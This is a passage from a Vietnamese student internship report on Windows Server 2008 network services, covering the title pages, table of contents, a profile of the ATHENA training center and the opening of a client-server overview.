SlideShare a Scribd company logo
1 of 128
ĐẠI HỌC NGUYỄN TẤT
THÀNH
KHOA CÔNG NGHỆ
THÔNG TIN
TRUNG TÂM
ĐÀO TẠO QUẢN
TRỊ MẠNG & AN
NINH MẠNG QUỐC
TẾ ATHENA
BÁO CÁO ĐỀ TÀI THỰC TẬP
Nghiên cứu và phát triển các
Dịch Vụ trên Windows Server 2008
Người Hướng Dẫn : Võ Đỗ Thắng
Giáo viên hướng dẫn: Dương Minh Trung
Sinh viên : Phạm Nguyễn Đăng Hoàng
MSSV: 1211509975
TP. Hồ Chí Minh, Tháng 5 năm 2015
TRUNGTÂM ĐÀO TẠO MẠNG VÀ AN
NINH MẠNG QUỐC TẾ ATHENA
CỘNG HÒA XÃ HỘI CHỦ NGHĨA
VIỆT NAM
Độc lâp – Tự do – Hạnh phúc
NHIỆM VỤ THỰC HIỆN KHÓA LUẬN
Họ tên SV : Phạm Nguyễn Đăng Hoàng MSSV: 1211509975
Chuyên ngành: Công Nghệ Thông Tin.
Tên đề tài: Nghiên cứu triển khai các dịch vụ mạng trên Windows Server
2008.
Nội dung thực hiện:
Lý thuyết:
Nắm vững các bước thực hiện quản trị Windows Server 2008.
Có khả năng tự thiết lập một mạng máy tính, cấu hình mạng, điều chỉnh
khả năng hoạt động mạng máy tính, vận hành hệ thống mạng, giải quyết
sự cố, các phương pháp bảo vệ.
Thực hành:
Cài đặt Windows Server 2008.
Nâng cấp Stand Alone thành Domain controller.
Cài đặt Windows 7.
Join Domain cho windows 7.
Tạo user account trên AD, thiết lập policy cho phép User được quyền
thay đổi ngày giờ hệ thống.
Backup cho Domain Controller.
Quản lý dịch vụ DNS, Mail, DHCP, Web, VPN trên môi trường Local và
Internet.
Thực hiện kết nối VPN, Mail Server, Web Server trên máy chủ ảo VPS.
Bảo mật Windows với khai thác mã lỗi trên Windows Xp và trên VPS
Thời gian thực hiện: 16/3/2015 đến 16/05/2015.
Chữ ký của SV:
TP.HCM, Ngày 16 tháng 5 năm 2015
GIÁM ĐỐC TRUNG TÂM GIẢNG VIÊN HƯỚNG
DẪN
(Ký và ghi rõ họ tên) (Ký và ghi rõ họ tên)
LỜI CẢM ƠN
Trên thực tế không có sự thành công nào mà không gắn liền với những sự
hỗ trợ, giúp đỡ dù ít hay nhiều, dù trực tiếp hay gián tiếp của người khác.
Trong suốt thời gian từ khi bắt đầu học tập ở giảng đường đến nay, em đã
nhận được rất nhiều sự quan tâm, giúp đỡ của quý Thầy Cô, gia đình và
bạn bè. Với lời biết ơn sâu sắc nhất, em xin gửi đến quý Thầy Cô ở Khoa
Công Nghệ Thông Tin – Trường Đại Học Nguyễn Tất Thành đã cùng với
tri thức và tâm huyết của mình để truyền đạt vốn kiến thức quý báu cho
chúng em trong suốt thời gian học tập tại trường. Và đặc biệt, trong học kỳ
này Khoa đã tổ chức cho chúng em thực tập và được tiếp cận với môn học
mà theo em là rất hữu ích đối với sinh viên ngành Công Nghệ Thông Tin.
Em xin chân thành cảm ơn Thầy Võ Đỗ Thắng đã tận tâm hướng dẫn
chúng em qua từng buổi thực tập tại Trung Tâm ATHENA cũng như
những buổi nói chuyện, thảo luận. Nếu không có những lời hướng dẫn,
dạy bảo của thầy thầy thì em nghĩ bài báo cáo này của em rất khó có thể
hoàn thiện được. Một lần nữa, em xin chân thành cảm ơn thầy.
Bài báo cáo được thực hiện trong khoảng thời gian gần 2 tháng. Bước đầu
đi vào thực tế, tìm hiểu, kiến thức của em còn hạn chế và còn nhiều bỡ
ngỡ. Do vậy, không tránh khỏi những thiếu sót là điều chắc chắn, em rất
mong nhận được những ý kiến đóng góp quý báu của quý Thầy Cô và các
bạn học cùng lớp để kiến thức của em trong lĩnh vực này được hoàn thiện
hơn.
Sau cùng, em xin kính chúc quý Thầy Cô trong Khoa Công Nghệ Thông
Tin và Thầy Võ Đỗ Thắng thật dồi dào sức khỏe, niềm tin để tiếp tục thực
hiện sứ mệnh cao đẹp của mình là truyền đạt kiến thức cho thế hệ mai sau.
Trân trọng.
TP.HCM, Ngày 16/05/2015
Sinh viên thực hiện
……………………………
NHẬN XÉT CỦA ĐƠN VỊ THỰC TẬP

Họ và tên người hướng dẫn: ........................................................................................... .....
Nhận xét báo cáo thực tập của học sinh/sinh viên: ...................................................... .....
Lớp: ..................................... Khóa:.................................................................................. ...
Tên báo cáo(đề tài)/nội dung báo cáo:...................................................................... .........
Nội dung nhận xét:
Điểm (số):..............................................................................................................................
TP.Hồ Chí Minh ngày…..tháng…..năm
2015
Cán bộ hướng dẫn
NHẬN XÉT CỦA GIÁO VIÊN HƯƠNG DẪN

Họ và tên người hướng dẫn: .................................................................................. ..
Nhận xét báo cáo thực tập của học sinh/sinh viên:............................................. ..
Lớp:...................................... Khóa: ....................................................................... ..
Tên báo cáo(đề tài)/nội dung báo cáo:................................................................. ..
Nội dung nhận xét:
................................................................................................................................... ..
................................................................................................................................... ..
................................................................................................................................... ..
................................................................................................................................... ..
................................................................................................................................... ..
................................................................................................................................... ..
................................................................................................................................... ..
................................................................................................................................... ..
................................................................................................................................... ..
Điểm (số):...... ............................................................................................................
TP.Hồ Chí Minh ngày…..tháng…..năm 2015
GIÁO VIÊN HƯỚNG DẪN
MỤC LỤC
CHƯƠNG 1: CÔNG VIỆC THỰC TẬP. 1
I.Giới thiệu doanh nghiệp thực tập – Trung Tâm Đào Tạo Quản Trị Mạng và
An Ninh Mạng Quốc Tế ATHENA. .................................................................................1
1. Trụ sở và các chi nhánh: ................................................................................................2
1.1. Trụ sở chính:.................................................................................................................2
1.2.Cơ sở 2_Tại TP Hồ Chí Minh:....................................................................................2
2.Quá trình hình thành và phát triển của trung tâm: .......................................................2
3.Cơ cấu tổ chức:.................................................................................................................4
4.Các sản phẩm, giải pháp: ................................................................................................4
4.1Các khóa học dài hạn: ...................................................................................................4
4.2Các khóa học ngắn hạn: ................................................................................................4
4.3 Các sản phẩm khác .......................................................................................................5
4.4 Cơ sở hạ tầng.................................................................................................................5
4.5 Các dịch vụ hỗ trợ:........................................................................................................5
5.Khách hàng .......................................................................................................................6
6.Đối tác ...............................................................................................................................6
II.CÁC NHIỆM VỤ VÀ DỊCH VỤ CỦA BỘ PHẬN THỰC TẬP .............................6
III.CÔNG VIỆC VÀ NHIỆM VỤ ĐƯỢC PHÂN CÔNG.............................................6
IV.THỜI GIAN THỰC TẬP .............................................................................................6
CHƯƠNG 2: NÔI DUNG THỰC TẬP. 7
I.Nhiệm vụ được giao. ........................................................................................................7
II.Kiến thức tìm hiểu...........................................................................................................7
1.Giải pháp mạng doanh nghiệp........................................................................................7
1.1.Giới thiệu về mạng doanh nghiệp...............................................................................7
1.2.Các thành phần công nghệ trong mạng doanh nghiệp .............................................7
2.Windows Server 2008 .....................................................................................................8
Giới thiệu về mô hình Client-Server................................................................................8
CHƯƠNG 3:TỔNG QUAN VỀ WINDOWS SERVER 2008 10
I. GIỚI THIỆU WINDOWS SERVER 2008.................................................................10
II. CÁC TÍNH NĂNG CỦA WINDOWS SERVER 2008.........................................10
1. Công cụ quản trị Server Manager ...............................................................................11
2. Windows Server Core...................................................................................................11
3. PowerShell .....................................................................................................................12
4. Windows Deloyment Services. ...................................................................................12
5. Terminal Services. ........................................................................................................12
6. Network Access Protection..........................................................................................13
7. Read-Only Domain Controllers ..................................................................................13
8. Công nghệ Failover Clustering. ..................................................................................13
9. Windows Firewall with Advance Security ................................................................14
III. MỘT SỐ TÍNH NĂNG MỚI CỦA WINDOWS SERVER 2008.......................14
1. Công nghệ ảo hóa Hyper-V.........................................................................................14
2. Processor Compatibility Mode....................................................................................14
3. File Classification Infrastructure.................................................................................15
4. Quản lý trong ỗ đĩa và file:..........................................................................................15
5. Cải tiến giao thức và mã hóa .......................................................................................15
6. Một số tính năng khác ..................................................................................................15
IV. CÁC LỢI ÍCH CỦA WINDOWS SERVER 2008................................................15
1. Web.................................................................................................................................16
2. Ảo hóa : ..........................................................................................................................16
3. Bảo mật: .........................................................................................................................16
3.1. Network Access Protection (NAP):.........................................................................16
3.2. Read-Only Domain Controller (RODC):................................................................17
3.3. BitLocker: ...................................................................................................................17
3.4. Windows Firewall: ....................................................................................................17
V. CÁC PHIÊN BẢN CỦA WINDOWS SERVER 2008..........................................17
1. Windows Server 2008: ứng dụng cho các trung tâm data lớn, ứng dụng
nghiệp vụ riêng,... khả năng mở rộng cao cho tới 64 bộ xử lý...................................17
2. Windows Server 2008 Standard Edition....................................................................17
3. Windows Server 2008 Enterprise Edition..................................................................18
4. Windows Server 2008 Datacenter Edition.................................................................18
CHƯƠNG 4: CÀI ĐẶT WINDOWS SERVER 2008 19
I. YÊU CẦU PHẦN CỨNG ............................................................................................19
II. CÁC CÁCH CÀI ĐẶT................................................................................................19
III. NÂNG CẤP LÊN WINDOWS SERVER 2008 .....................................................19
IV. CÀI ĐẶT WINDOWS SERVER 2008 ...................................................................20
CHƯƠNG 5: DỰNG DOMAIN CONTROLLER 24
CHƯƠNG 6: JOIN DOMAIN 32
CHƯƠNG 7 : TRIỄN KHAI CÁC DỊCH VỤ MẠNG 34
I. Dịch vụ DNS..........................................................................................................................................................34
1. Giới thiệu về DNS............................................................................................................................................34
2. Cài đặt DNS..........................................................................................................................................................34
3. Cấu hình DNS................................................................................................................35
II. DỊCH VỤ DHCP ..........................................................................................................42
1. Giới thiệu về DHCP........................................................................................................................................42
2. Cài đặt DHCP ......................................................................................................................................................42
3. Cấu hình DHCP.....................................................................................46
III. Tìm hiểu VNP ..................................................................................................................................................51
1. Khái niệm..............................................................................................................................................................51
2. Các loại VNP........................................................................................................................................................51
3. Bảo mật trong VPN........................................................................................................................................52
4. Sản phẩm công nghệ dành cho VPN ................................................................................................53
5. Bộ xử lý trung tâm VPN.............................................................................................................................54
6. Router dùng cho VPN..................................................................................................................................54
7. Tường lửa PIX của Cisco...........................................................................................................................54
IV. VPN Site to Site ..............................................................................................................................................54
1. Chuẩn bị.................................................................................................................................................................54
2. Đặt IP cho 4 máy .............................................................................................................................................54
3. Tiến hành cài đặt và cấu hình...............................................................................................................55
4. Kiểm tra .................................................................................................................................................................67
V. IIS 7.0............................................................................................................................68
1. Giới thiệu về IIS.............................................................................................................68
2. Những điểm mới của IIS 7.0 .......................................................................................69
3. Cài đặt IIS.......................................................................................................................69
4. Cấu hình IIS....................................................................................................................72
VI. FTP................................................................................................................................75
1.FTP là gì.........................................................................................................................75
2. Cài đặt FTP....................................................................................................................75
3. Cấu hình FTP ................................................................................................................78
CHƯƠNG 8: BACKUP & RESTORE 82
1. Cài đặt............................................................................................................................82
2. Backup............................................................................................................................83
3. Restore...........................................................................................................................88
CHƯƠNG 9: MAIL TRÊN VPS 91
I. Cấu hình và cài đặt Mdeamonv10 ......................................................................................................91
CHƯƠNG 10: BẢO MẬT WINDOWS 104
I.Khai thác lỗ hỏng trên Windows XP với mã lỗi MS08_067....................................104
II.Khai thác lỗ hỏng trên Windows XP với mã lỗi MS12_004 ..................................107
CHƯƠNG 11: KẾT LUẬN 114
I. Các kết quả đạt được....................................................................................................114
II. Kinh nghiệm thực tế....................................................................................................114
III. Hoàn thiện bản thân...................................................................................................114
IV. Các kiến thức được lĩnh hội.......................................................................................114
V. Kết luận...........................................................................................................................115
LỜI MỞ ĐẦU
Ngày nay với sự phát triển của khoa học kỹ thuật thì máy tính trở nên phổ biến
với mọi người. Chúng mang lại cho con người khả năng to lớn và làm những
công việc phi thường: tính toán nhanh và chính xác các bài toán phức tạp, điều
khiển tự động, giải trí… Máy tính ra đời không chỉ hỗ trợ trong sản xuất mà
còn trong việc học tập và làm góp phần giải phóng sức lao động. Máy tính
điện tử là một phát minh, thành tựu to lớn cho sự phát triển của nhân loại góp
phần thúc đẩy mạnh mẽ tiến bộ khoa học và kỹ thuật nói riêng cũng như nhân
loại nói chung.
Bên cạnh sự phát triển chóng mặt của máy tính trong thời buổi công
nghệ thông tin thì các ứng dụng, dịch vụ mạng là nền tản không thể tách rời.
Sức mạnh máy tính có thể nhân lên gấp nhiều lần khi được kết nối thành mạng
máy tính. Là cơ sở hạ tần cho phép trao đổi thông tin, truyền tải dữ liệu từ xa
nhằm rút ngắn khoảng cách. Với mạng máy tính toàn cầu chúng ta dễ dàng
tiếp cận với sự phát triển của thế giới trong đó có sự phát triển gần nhất của
Windows Server là Windows Server 2000 và Windows Server 2003 và tiếp
đến là Windows Server 2008 hỗ trợ tốt các dịch vụ mạng cần thiết trên Server,
việc cải tiến không ngừng giúp nâng cao tính ổn định và an toàn hơn cho
Windows Server 2008 hoạt động một cách trơn tru.
Hiện nay quá trình công nghiệp hóa hiện đại hóa đất nước là một chủ
trương hàng đầu của nhà nước. Mạng máy tính trở thành mục tiêu nghiên cứu
và phát triển. Cốt lõi là ngành công nghệ thông tin bao gồm nhiều lĩnh vực từ
kiến trúc mạng đến nguyên lý thiết kế, cài đặt mô hình ứng dụng v.v… Mạng
viễn thông nói chung và mạng máy tính trên nền tảng Windows Server 2008
nói riêng là công cụ hũu dụng không thể thiếu trong bộ máy nhà nước, trường
học, doanh nghiệp… Nó đóng vai trò cầu nối trao đổi thông tin giữa các chính
phủ, tổ chức xã hội và mọi người với nhau.
Qua thời gian học tập và nghiên cứu trên ghế nhà trường cùng với sự hỗ
trợ tận tình của Thầy cô, bạn bè và người thân đã giúp em thu thập được nhiều
kiến thức quý báo. Đặc biệt là quá trình thực tập tại Trung tâm ATHENA giúp
em có những trải nghiệm vô cùng thú vị và bổ ích. Với mong muốn tìm hiểu
về mạng máy tính và góp phần xây dựng một mạng máy tính thân thiện, thông
minh cho mọi người sử dụng.
Tuy đã có nhiều cố gắng song không thể tránh những khuyết điểm, sai
sót vì thế mong được sự thông cảm và những ý kiến đóng góp quý báo từ Quý
Thầy Cô, bạn bè, bạn đọc, người thân để em có thể ngày một hoàn thiện bản
thân mình hơn. Xin chân thành cảm ơn!
1
CHƯƠNG 1: CÔNG VIỆC THỰC TẬP.
I.Giới thiệu doanh nghiệp thực tập – Trung Tâm Đào Tạo Quản Trị Mạng
và An Ninh Mạng Quốc Tế ATHENA.
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế
ATHENA_Tiền thân là Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt
Năng, (tên thương hiệu viết tắt là TRUNG TÂM ĐÀO TẠO ATHENA), được
chính thức thành lập theo giấy phép kinh doanh số 4104006757 của Sở Kế Hoạch
Đầu Tư Tp Hồ Chí Minh cấp ngày 04 tháng 11 năm 2008.
Tên công ty viết bằng tiếng nước ngoài: ATHENA ADVICE TRAINING
NETWORK SECURITY COMPANY LIMITED.
ATHENA là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam đầy năng động,
nhiệt huyết và kinh nghiệm trong lĩnh vực công nghệ thông tin. Với quyết tâm
góp phần vào công cuộc thúc đẩy tiến trình tin học hóa của nước nhà. ATHENA
đã và đang tập trung chủ yếu vào các họat động sau:
 Đào tạo chuyên sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các
tiêu chuẩn quốc tế của các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux
LPI , CEH,... Song song đó, trung tâm ATHENA còn có những chương trình đào
tạo cao cấp dành riêng theo đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ
Công An , ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài
chính..Qua đó cung cấp nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc
biệt là chuyên gia về mạng máy tính và bảo mật mạng đạt trình độ quốc tế cho
các tổ chức, doanh nghiệp có nhu cầu.
 Tư vấn và hổ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào hoạt động sản
xuất kinh doanh.
 Tiến hành các hoạt động nghiên cứu nâng cao kiến thức tin học và phát triển cơ
sở dữ liệu thông tin về các ứng dụng và sự cố mạng.
 Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong trường hợp xảy
ra sự cố máy tính.
Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung tâm ATHENA đã là
chuyên gia đảm nhận công tác quản lý hệ thống mạng, an ninh mạng cho nhiều
bộ ngành như Cục Công Nghệ Thông Tin - Bộ Quốc Phòng , Bộ Công An, Sở
Thông Tin Truyền Thông các tỉnh, bưu điện các tỉnh,…
2
Ngoài ra, Trung tâm ATHENA còn có nhiều chương trình hợp tác và trao đổi
công nghệ với nhiều đại học lớn như đại học Bách Khoa Thành Phố Hồ Chí
Minh, Học Viện An Ninh Nhân Dân( Thủ Đức), Học Viện Bưu Chính Viễn
Thông, Hiệp hội an toàn thông tin (VNISA), Viện Kỹ Thuật Quân Sự...
1. Trụ sở và các chi nhánh:
1.1. Trụ sở chính:
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA.
Số 2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh, Việt Nam.
Điện thoại: ( 84-8 ) 3824 4041
Hotline: 0943 23 00 99.
1.2.Cơ sở 2_Tại TP Hồ Chí Minh:
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA
92 Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí Minh, Việt Nam.
Website: www.athena.edu.vn
Điện thoại: ( 84-8 ) 2210 3801
Hotline: 0943 20 00 88.
2.Quá trình hình thành và phát triển của trung tâm:
Một nhóm các thành viên là những doanh nhân tài năng và thành công trong lĩnh
vực công nghệ thông tin đã nhận ra tiềm năng phát triển của việc đào tạo nền
công nghệ thông tin nước nhà. Họ là những cá nhân có trình độ chuyên môn cao
và có đầu óc lãnh đạo cùng với tầm nhìn xa về tương lai của ngành công nghệ
thông tin trong tương lai, họ đã quy tụ được một lực lượng lớn đội ngũ công nghệ
thông tin trước hết là làm nhiệm vụ ứng cứu máy tính cho các doanh nghiệp, cá
nhân có nhu cầu. Bước phát triển tiếp theo là vươn tầm đào đạo đội ngũ cán bộ
công nghệ thông tin cho đất nước và xã hội.
Các thành viên sáng lập trung tâm gồm:
 Ông Nguyễn Thế Đông: Cựu giám đốc trung tâm ứng cứu máy tính Athena,
hiện tại là giám đốc dự án của công ty Siemen Telecom.
 Ông Hứa Văn Thế Phúc: Phó Giám đốc Phát triển Thương mại Công ty EIS,
Phó Tổng công ty FPT.
 Ông Nghiêm Sỹ Thắng: Phó Tổng giám đốc Ngân hàng Liên Việt, chịu trách
nhiệm công nghệ thông tin của Ngân hàng.
 Ông Võ Đỗ Thắng: Hiện đang là giám đốc Trung tâm đào tạo quản trị và an ninh
mạng Athena.
 Đến năm 2003, bốn thành viên sáng lập cùng với với đội ngũ ứng cứu máy
tính gần 100 thành viên hoạt động như là một nhóm, một tổ chức ứng cứu máy
tính miền Nam.
3
 Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình.
Trung tâm trở thành một trong những địa chỉ tin cậy của nhiều doanh nghiệp
nhằm cài đặt hệ thống an ninh mạng và đào tạo cho đội ngũ nhân viên của các
doanh nghiệp về các chương trình quản lý dự án MS Project 2003, kỹ năng
thương mại điện tử, bảo mật web… và là địa chỉ tin cậy của nhiều học sinh_sinh
viên đến đăng kí học. Đòi hỏi cấp thiết trong thời gian này của Trung tâm là nâng
cao hơn nữa đội ngũ giảng viên cũng như cơ sở để đáp ứng nhu cầu ngày càng
cao về công nghệ thông tin của đất nước nói chung, các doanh nghiệp, cá nhân
nói riêng.Năm 2004, công ty mở rộng hoạt động cung cấp giải pháp, dịch vụ cho
khu vực miền Trung thông qua việc thành lập văn phòng đại diện tại Đà Nẵng.
 Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra
thêm một chi nhánh tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng
đội ngũ giảng viên là những chuyên gia an ninh mạng tốt nghiệp các trường đại
học và học viện công nghệ thông tin uy tín trên toàn quốc, đồng thời trong thời
gian này Athena có nhiều chính sách ưu đãi nhằm thu hút đội ngũ nhân lực công
nghệ thông tin lành nghề từ các doanh nghiệp, tổ chức, làm giàu thêm đội ngũ
giảng viên của trung tâm.
 Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng
mọc lên, cùng với khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm
rơi vào nhiều khó khăn.
Ông Nguyễn Thế Đông cùng Ông Hứa Văn Thế Phúc rút vốn khỏi công ty gây
nên sự hoang man cho toàn bộ hệ thống trung tâm. Cộng thêm chi nhánh tại Cư
xã Nguyễn Văn Trỗi hoạt động không còn hiệu quả phải đóng cửa làm cho trung
tâm rơi từ khó khăn này đến khó khăn khác. Lúc này, với quyết tâm khôi phục lại
công ty cũng như tiếp tục sứ mạng góp phần vào tiến trình tin học hóa của đất
nước. Ông Võ Đỗ Thắng mua lại cổ phần của hai nhà đầu tư lên làm giám đốc và
xây dựng lại trung tâm. Đây là một bước chuyển mình có ý nghĩa chiến lược của
trung tâm. Mở ra một làn gió mới và một giai đoạn mới, cùng với quyết tâm
mạnh mẽ và một tinh thần thép đãgiúp ông Thắng vượt qua nhiều khó khăn ban
đầu, giúp trung tâm đứng vững trong thời kì khủng hoảng.
 Từ năm 2009 – nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược.
Trung tâm đào tạo quản trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo
hoạt động của mình. Đến nay, Trung tâm đã trở thành một trong những trung tâm
đào tạo quản trị mạng hàng đầu Việt Nam.
4
Cùng với sự liên kết của rất nhiều công ty, tổ chức doanh nghiệp, trung tâm trở
thành nơi đào tạo và cung cấp nguồn nhân lực công nghệ thông tin cho xã hội.
Từng bước thực hiện mục tiêu góp phần vào tiến trình tin học hóa nước nhà.
3.Cơ cấu tổ chức:
Hình 1. Sơ đồ tổ chức công ty.
4.Các sản phẩm, giải pháp:
4.1Các khóa học dài hạn:
- Chương trình đào tạo chuyên gia an ninh mạng. ( AN2S) Athena network
security specialist.
- Chương trình Quản trị viên an ninh mạng (ANST) Athena netuwork security
Technician.
- Chuyên viên quản trị mạng nâng cao (ANMA) Athena network manager
Administrator.
4.2Các khóa học ngắn hạn:
Khóa Quản trị mạng :
- Quản trị mạng Microsoft căn bản ACBN
- Phần cứng máy tính, laptop, server
- Quản trị hệ thống mạng Microsoft MCSA Security.
- Quản trị mạng Microsoft nâng cao MCSE
5
- Quản trị window Vista
- Quản trị hệ thống Window Server 2008, 2012
- Lớp Master Exchange Mail Server
- Quản trị mạng quốc tế Cissco CCNA
- Quản trị hệ thống mạng Linux 1 và Linux 2.
Khóa thiết kế web và bảo mật mạng
- Xây dựng, quản trị web thương mại điện tử với Joomla và VirtuMart
- Lập trình web với Php và MySQL
- Bảo mật mạng quốc tế ACNS
- Hacker mũ trắng
- Athena Mastering Firewall Security
- Bảo mật website.
4.3 Các sản phẩm khác
- Chuyên đề thực hành sao lưu và phục hồi dữ liệu
- Chuyên đề thực hành bảo mật mạng Wi_Fi
- Chuyên đề Ghost qua mạng
- Chuyên đề xây dựng và quản trị diễn đàn
- Chuyên đề bảo mật dữ liệu phòng chống nội gián
- Chuyên đề quản lý tài sản công nghệ thông tin
- Chuyên đề kỹ năng thương mại điện tử.
4.4 Cơ sở hạ tầng
- Thiết bị đầy đủ và hiện đại.
- Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với những công
nghệ mới nhất.
- Phòng máy rộng rãi, thoáng mát.
4.5 Các dịch vụ hỗ trợ:
- Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn
- Giới thiệu việc làm cho mọi học viên
- Thực tập có lương cho học viên khá giỏi
- Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí, không giới
hạn thời gian
6
- Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan đến máy tính,
mạng máy tính, bảo mật mạng
Hỗ trợ thi Chứng chỉ Quốc tế.
5.Khách hàng
- Mọi đối tượng chuyên hoặc không chuyên về CNTT.
- Khách hàng chủ yếu của ATHENAlà các bạn học sinh, sinh viên và các cán bộ
công nhân viên chức yêu thích lĩnh vực công nghệ thông tin.
6.Đối tác
Trung tâm đào tạo an ninh mạng ATHENA là đối tác đào tạo & cung cấp nhân sự
CNTT, quản trị mạng , an ninh mạng chất lượng cao theo đơn đặt hàng cho các
đơn vị như ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính...
II.CÁC NHIỆM VỤ VÀ DỊCH VỤ CỦA BỘ PHẬN THỰC TẬP
Bộ phận thực tập : Bộ phận triển khai kỹ thuật.
Nhiệm vụ và dịch vụ:
 Triển khai lắp đặt hệ thống mạng.
 Bảo trì hệ thống mạng.
 Tư vấn hỗ trợ quản trị hệ thống mạng.
III.CÔNG VIỆC VÀ NHIỆM VỤ ĐƯỢC PHÂN CÔNG
 Nghiên cứu các dịch vụ mạng trên Windows Server 2008.
 Triển khai các dịch vụ mạng trên Windows Server 2008.
 Yêu cầu nhiệm vụ: Có kiến thức tốt về Network, System, Security.
IV.THỜI GIAN THỰC TẬP
Từ ngày 16/03/2015 đến ngày 16/05/2015.
7
CHƯƠNG 2: NÔI DUNG THỰC TẬP.
I.Nhiệm vụ được giao.
 Nghiên cứu các dịch vụ mạng trên Windows Server 2008
 Triển khai các dịch vụ mạng trên Windows Server 2008
II.Kiến thức tìm hiểu
1.Giải pháp mạng doanh nghiệp
1.1.Giới thiệu về mạng doanh nghiệp
Hệ thống mạng của doanh nghiệp đơn giản hay phức tạp là tùy theo quy
mô và loại hình của doanh nghiệp. Ngày nay, các nhà cung ứng đã đưa ra rất
nhiều sự chọn lựa cho doanh nghiệp như cho phép doanh nghiệp tự trang bị, tự
quản lý hoặc sử dụng dịch vụ. Những doanh nghiệp lớn với hàng ngàn máy tính
cũng có những giải pháp quản lý đặc thù kết hợp cả phần cứng và phần mềm.
Hầu hết các doanh nghiệp đều có nhu cầu sử dụng các ứng dụng công nghệ thông
tin (CNTT) ở những mức độ khác nhau. Do vậy, họ sẽ có những nhu cầu khác
nhau về quản trị hệ thống mạng (network) của doanh nghiệp. Một hệ thống được
kiểm soát tốt sẽ làm giảm đáng kể chi phí hoạt động, nâng cao hiệu quả cũng như
độ tin cậy của hệ thống.
1.2.Các thành phần công nghệ trong mạng doanh nghiệp
Tùy vào qui mô lớn hay nhỏ của doanh nghiệp mà ta sẽ có những giải
pháp công nghệ và thiết kế sao cho phù hợp nhất.
Hiện nay, hầu hết các ứng dụng mới đều yêu cầu rất nhiều tài nguyên của hệ
thống và băng thông mạng, cũng như các yêu cầu về điều khiển, giám sát mạng.
Vậy làm thế nào để một doanh nghiệp vừa và nhỏ, với một số vốn đầu tư ban đầu
hạn chế, có thể tiếp cận được với các công nghệ hiện đại, bắt kịp sự phát triển của
thế giới.
8
2.Windows Server 2008
Giới thiệu về mô hình Client-Server
Điều đáng ngạc nhiên là nhiều công ty ngày nay vẫn không quan tâm đến
việc thực hiện một mạng lưới client/server. Thay vào đó họ chỉ tiếp tục thêm vào
các máy trạm để thực hiện mô hình mạng peer-to-peer. Mạng peer-to-peer không
cung cấp cho bạn nhiều cách bảo mật và chia sẽ tài nguyên. Vì vậy, không có gì
ngạc nhiên khi họ thường có vấn đề với việc truy cập vào máy trạm, bị mất dữ
liệu do virus, spyware hay phải trải nghiệm việc internet bị gián đoạn. Máy tính
nối mạng theo mô hình peer-to-peer là đủ khi bạn chỉ có một vài người dung trên
mạng, nhưng khi có nhiều hơn 5 hoặc 6
người sử dụng trên mạng của bạn, bạn thực sự phải xem xét đầu tư một máy chủ
mạng.Vậy lợi ích của mô hình Client-Server cụ thể là gì?
- Tập tin và an ninh mạng: Vai trò quan trọng nhất của một máy chủ tập tin là an
ninh mạng mà nó cung cấp. Bằng cách tạo ra các tài khoản người dùng cá nhân
và nhóm, có thể cấp quyền cho nhóm và cá nhân khai thác dữ liệu được lưu trữ
trên mạng, ngăn chặn người sử dụng trái phép truy cập tài liệu mà họ không nên
xem. Ví dụ, trong Folder chung thì group ketoan và group nhansu có quyền truy
cập ủa nhân viên…
- Tăng độ tin cậy, giảm sự gián đoạn công việc: Nhiều máy chủ được trang bị
nguồn điện dự phòng. Với một nguồn cung cấp năng lượng thứ cấp chạy song
song, sự mất mát của một trong những nguồn cung cấp điện không ảnh hưởng
đến hoạt động hệ thống bình thường. Cũng vậy với hệ thống lưu trữ của máy chủ.
Không giống như một máy tính để bàn trung bình có sử dụng một ổ cứng duy
nhất, một máy chủ sẽ thường sử dụng nhiều ổ đĩa cứng làm việc trong một RAID
cấu hình để ngăn ngừa mất dữ liệu hoặc một sự gián đoạn trong quy trình làm
việc. Ngoài ra, nhiều máy chủ cũng được trang bị ổ đĩa cứng hot swappable và
nguồn cung cấp điện. Các thành phần này có thể thay thế nóng cho phép bạn thay
thế phần cứng bị lỗi mà không gián đoạn toàn bộ văn phòng. Ngoài ra, kể từ khi
tất cả các dữ liệu nhân viên đang được lưu trữ trên mạng, nếu máy trạm của
người dùng không giữa ngày làm việc, nhân viên có thể truy cập các tập tin tương
tự từ máy trạm khác.
9
- Tập trung lưu trữ dữ liệu và tài nguyên chia sẻ: Với một máy chủ mạng, tất cả
người dùng trên mạng có thể sử dụng các tài nguyên mạng khác nhau ngay từ bàn
làm việc, tăng hiệu quả. Một số trong những nguồn tài nguyên bao gồm:
o Tập trung lưu trữ dữ liệu ( RAID Array )
o Network Attached Storage (NAS) thiết bị
o Tháp đĩa CD / DVD
o Máy in và máy chủ Fax
- Quản lý virus : Một trong những mối đe dọa lớn nhất đối với mạng của bạn là
khả năng lây nhiễm từ virus, phần mềm gián điệp và thư rác. Vì vậy, có tốt, cập
nhật, phần mềm chống virus được cài đặt trên hệ thống của bạn là một điều cần
